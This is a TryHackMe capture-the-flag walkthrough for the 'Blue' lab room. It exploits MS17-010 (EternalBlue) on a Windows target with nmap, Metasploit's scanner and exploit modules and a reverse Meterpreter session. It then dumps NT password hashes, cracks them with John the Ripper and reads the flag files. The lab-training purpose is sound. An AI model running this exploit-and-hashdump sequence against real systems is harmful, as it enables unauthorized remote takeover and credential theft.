🔵 TryHackMe - Blue Room Walkthrough

> A beginner-friendly Windows exploitation room that focuses on the MS17-010 (EternalBlue) vulnerability.

📍 Target IP

```
<IP>
```

🛠️ Step 1: Scan the Target

We start by scanning the machine to discover open ports and services.

```
nmap -sS -sV -Pn -O <IP> -oN blue.txt -oX blue.xml
```

- `sS` : Stealth scan
- `sV` : Version detection
- `Pn` : No ping (assume host is up)
- `O` : OS detection
- `oN` , `oX` : Save results in normal and XML formats

🧠 Step 2: Import Results into Metasploit

```
msfconsole
db_import blue.xml
```

This will allow us to use the scan results in Metasploit.

🔍 Step 3: Check for MS17-010 Vulnerability

Use the SMB scanner module:

```
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <IP>
run
```

If it's vulnerable, we'll see:

```
[+] Host is likely VULNERABLE to MS17-010!
```

💥 Step 4: Exploit EternalBlue

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP>
set LHOST <your IP>
set LPORT 4444
run
```

If successful, we'll get a **Meterpreter session**.

🖥️ Step 5: Post-Exploitation – Get System Info

```
sysinfo
```

Check user, OS version, and session details.

🔐 Step 6: Dump Password Hashes

```
hashdump
```

Save the hashes to a file called `hash` and try to crack them:

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=NT
```

To view cracked passwords:

```
john --show hash
```

🏴 Step 7: Capture Flags

🔷 Flag 1

```
cat C:\\flag1.txt
```

🔷 Flag 2

```
cat C:\\Windows\\System32\\config\\flag2.txt
```

> If it's missing, restart the VM and re-run the exploit.

🔷 Flag 3

```
cat C:\\Users\\Jon\\Documents\\flag3.txt
```

If not found, search all flags:

```
search -f flag*.txt
```